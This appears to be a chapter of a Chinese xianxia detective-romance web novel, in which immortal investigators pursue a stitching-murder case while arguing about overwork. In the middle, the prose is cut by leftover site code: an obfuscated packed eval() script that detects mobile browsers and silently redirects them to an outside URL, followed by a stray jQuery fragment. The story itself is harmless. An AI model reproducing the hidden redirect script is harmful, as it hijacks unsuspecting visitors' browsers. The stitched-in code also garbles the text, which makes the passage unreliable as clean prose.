华智吃晚饭的时间超过了一刻钟。
这是纪娴山第三次说他了,为什么每次都要在吃饭上花费这么多时间。
真是讨厌,华智想。
之前像条不想活的咸鱼,怎么劝都不动,固执得要命。
现在不做咸鱼了,要做拼命三娘,还用这么狠毒的要求对别人,真是……讨厌。
事不过三,华智一定要好好和纪娴山讲道理,整顿一下职场风气。
趁着大家一窝蜂去吃饭的关口,华智挪到棚屋里,非常礼貌地看着她微笑。
纪娴山胳膊抱在胸前,对他打扰自己办案的思路,非常不满,皱眉看着他:“有话快说。”
华智深呼吸一口气,继续保持礼貌,温柔地说:“我理解娴山你想要破案的急迫心情,但是我们能不能可持续一点?事情是人做的,我们先把人照顾好嘛,你觉得是不是呢?”
纪娴山看了他很久。
华智后背都发毛了,随即又觉得自己是正义之师,微不可察地,渐渐挺直了后背。
纪娴山一副对他很失望的样子:“如果你是做其他的事,慢一点也无所谓。但你做的事情人命关天,晚一刻钟,也许就错失了一条命。你要是嫌累,现在就可以不用做了。”
这话说得非常狠啊。
棚屋外头,一个年轻侍卫惊得张大了嘴,将拳头塞进嘴巴里。不过,看在华智敢说的份上,敬他是条汉子。
一时气氛冷了。
华智有些尴尬,但好在四周没人,就不算丢面子。
这件事他必须要沟通清楚:“我不是说我不做,我的意思是,大家都很累了。虽然这个事确实很重要,但是我想吃饭休息的一两刻钟,肯定不缺。”
纪娴山转头,看着他,良久没有说话。
原本刚刚的话,她一说出口,就有些后悔了。但是……
她的想法没有改变,她叹一口气说:“你让大家今晚上都好好休息,明早再集合。”
说完,她看着眼前的地图。
华智转身出去。
纪娴山手肘撑在桌上,手掌捂住眼睛。
手掌温热,抚平些许这连续两日的疲劳。
华智说的对,人还是需要休息的。
不过,一想到梦里的阿洛,一想到苦撑十年都没有等到她的阿洛,纪娴山撤开手掌,挥手变出一个木盆,在木盆中变出冰水来。
她双脚站进去,透心凉,她忍不住深吸一口气,咬紧牙关。
闭上眼,再睁开眼,精神了许多。
她把地图拿开,干脆从头开始,再理一遍头绪。
·
华智出去没多远,正好看到一个逃跑的小侍卫。
他原本想要追上去,问他跑什么。
传音石突然动了,是无极真仙找他。
这些天,案件启动后,无极真仙没怎么找过华智,都是华智定期给他汇报情况。
无极真仙一直都对纪娴山颇有微词,认为她做事不负责任,没有上进心,非常的自我。
说到这里,华智感慨万千,把纪娴山进入真梦茧后,日夜不停工作的事,给无极真仙说了。
他虽然对她这状态不太满意,但是她现在这状态,不该被别人质疑。
听说纪娴山现在疯了一样查案,无极真仙惊呆,以为自己听错了:“她之前不是说这事与她无干,她不关心吗?”
她只关心六十年前的那桩案子,也只关心她死去的阿洛,对别人的死活,毫不在意。
以前是这样,但现在不是了。真的完全不是了。
华智给无极真仙再次确认,他倒是不希望纪娴山这么疯魔。
无极真仙惊叹之外有几分惊喜:“看来,她也不是一无是处。”
华智点头,再把前两日纪娴山的分析娓娓道来。
“说有三个幸存者的,也是她先发现的?”无极真仙不可思议。
华智重重点头:“纪仙子,确实看到了我们都看不到的。”
当初那么多人围着尸检记录分析,那么多人挖尸体,但是没人想到还有这个点,大家都忽略了可能的幸存者,反而习惯性假设涉及到的所有受害者都死了。
甚至,因此耽误了好多天。
那个受害者一号,不知道是怀着怎样绝望的心情在等待。
无极真仙似乎还是不肯相信,又问了一遍:“真的?”
“不敢骗您。”华智愿意给纪娴山说好话,也是因为纪娴山虽然做起事来格外疯狂,但至少她只要求自己,不对别人做要求。
无极真仙沉默了一会,这才说:“看来,她是真有点子能力。”
这一点,华智没什么好说的。到这里,华智原本想要关了传音石。
无极真仙突然抢着冒出一句话:“华智,你好生跟着她学学。”
?
华智满脑子问号:真仙你之前不是还说让我离她远点吗?
·
华智又站在棚屋外头时,天已经黑了。
棚屋里点起了一盏灯,一个瘦长的影子投在棚屋的木柱上。
远远看着棚屋里的孤独身影,他也不知道为什么要回来。
嗡嗡嗡的蚊子不停叫,惹得人烦躁。
这时候,远处一个徘徊的人影,狗狗祟祟的。
是之前那个小侍卫。
华智过去问他做什么。
小侍卫踮起脚,给他耳语几句后,说:“我不敢去找纪仙子,你帮我去说吧。”
华智刚点头,那小侍卫就脚底抹油,溜了,比山里的狍子还快。
纪娴山见华智进来,没有动,继续翻阅资料。
她的手指定在仙姬的尸检记录上,记录显示,她是身首异处,也就是说,凶手不仅改变了作案习惯,从一次缝合两个受害者,变成一次缝合三个受害者,同时还砍掉了仙姬的头颅。
这作案手法变化太大了。
纪娴山的直觉,这里面肯定有猫腻。
华智从外面进来,感觉棚屋里稍微凉快些,也不知是不是他的错觉。
也是,太热了,纪娴山肯定是想办法降温。
华智原本是打算把重要消息告诉她就走的:“方才下面报上来,已经找到了没有双腿的老妇,是姬老五的姑母,据说她年轻时去人间一趟,一个不防,被人砍断了双腿,老太太身体健康,直到今年年初失踪。”
“真的?”纪娴山一听这信息,兴奋地跨过去。
跨出去一步,差点被木盆绊倒。
华智跨步靠近,一把扶住她的手。
纪娴山差点撞到木桌上,但她毫不在意,挣开华智的手,她脸上是掩不住的兴奋:“姬老五和她的关系怎样?”
华智瞟了一眼地上的木盆,木盆中还漂浮着碎冰,有水汽渗出,又看了看她湿漉漉的鞋袜,他这才知道,纪娴山是怎么“降温”的。
纪娴山挥手,收了那一盆冰水,将脚放在桌下看不到的地方,又问了一遍:“姬老五和她的关系怎样?有没有可能的作案动机?”
华智摩挲着自己的手指,指尖还残留着她手指的冷意。
他沉默了一会,说:“现在还不清楚,只说并不是很好,但许多年不来往了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13125814|138336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
也是,那些侍卫不懂破案,自然也不知道问什么。
“看来,咱们的调查方向没有问题。”纪娴山摩拳擦掌,事情总算有了些重大进展,“明天我们再去详细调查。”
华智既没有答应,也没有反对。
保持沉默。
这不像他的性格。
纪娴山眉目一转,心中有了猜测——或许他并不想要去参与调查,毕竟太累了。他方才与她说过。
纪娴山刚准备说,让他明日休息,不用参与。这件事有她把关即可。
华智突然开口:“你不冷吗?”
大热天,就算要避暑,也不必将双脚放在冰水里,钻心的冷,也是常人无法承受的。
华智这突然的一关心,如同石子抛在了死水中心,荡起一圈圈令人眩晕的涟漪。
纪娴山愣住了。
这样的话,只有一个人问过,是阿洛。
知道他是担心,纪娴山低头笑了,安慰他:“提神而已,都是小事。”
想当年,她办案累了,什么提神的办法没有试过?
阿洛甚至为此嘲笑过她。
但她不在乎。想要做事,做难事,就要拿出点决心来。
纪娴山低头伏在桌案上,记录方才的想法,并且把明日的事列入规划。
华智仍旧木着一张脸,根本没有被安慰到。
他说:“你该不会为了提神,头悬梁锥刺股也干过吧?”
被这么一问,纪娴山微微抬头,望着桌前的空地,仿佛被定住了一般。
两人都沉默了,比方才的冰水还冷。
纪娴山换了个话题:“太晚了,你回去休息吧。”
没有回复他,但是华智已经明白,这是一个狠毒的女人,而且对她自己最狠。
华智没有说话,更没有挪步走开,就在她身侧站着。
他看着她带笑的侧脸在烛火中,如同温润的玉,挪不开眼睛。
他头一次生出了后悔,不该将她从七灼峰的安逸中拉拔出来的。
如果不是他,她还可以像巡音阁上自由的风,每日想去哪里游荡,便去哪里。
纪娴山转头,看着木头一样的他。
他眼里仿佛有水光?
华智转过头去,不让她看。
累的吗?这么委屈?
纪娴山笑着催他:“你快回去吧。”
华智说:“你跟我一起回去,我才回。”
这是在使性子?
纪娴山提起笔来,无语地看着他。
她这是不愿意走?华智下决心,今晚非要把她弄回去。
这时候,外头又走进来一个人,是明炤,他一身银白的长衫,能看出来是常服。
不过这单薄的常服,也衬得他芝兰玉树一般的风姿。
明炤脸上带笑:“原来二位都在。”
华智急忙抹了一把脸,看到明炤,他不自觉看着自己一身黑的衣衫,徒生莫名的窘迫。
明炤说:“听说纪姑娘还没有用晚饭。”
纪娴山摇头:“我不饿。”
“不饿也要吃点,吃了才有精神办案。我在宫中叫人备了餐点。纪姑娘和华智仙君,不如一同回去好生休息。”明炤温言劝道。
华智心想,这是个劝纪娴山的好机会。
他刚一转头,还没开口,正见到纪娴山从桌子前面站起来,放下笔。
她笑靥如花:“好。”
华智眼睁睁站在原地,看着明炤与纪娴山肩并肩地走出去了。
他好想冲过去,冲到他们俩人中间。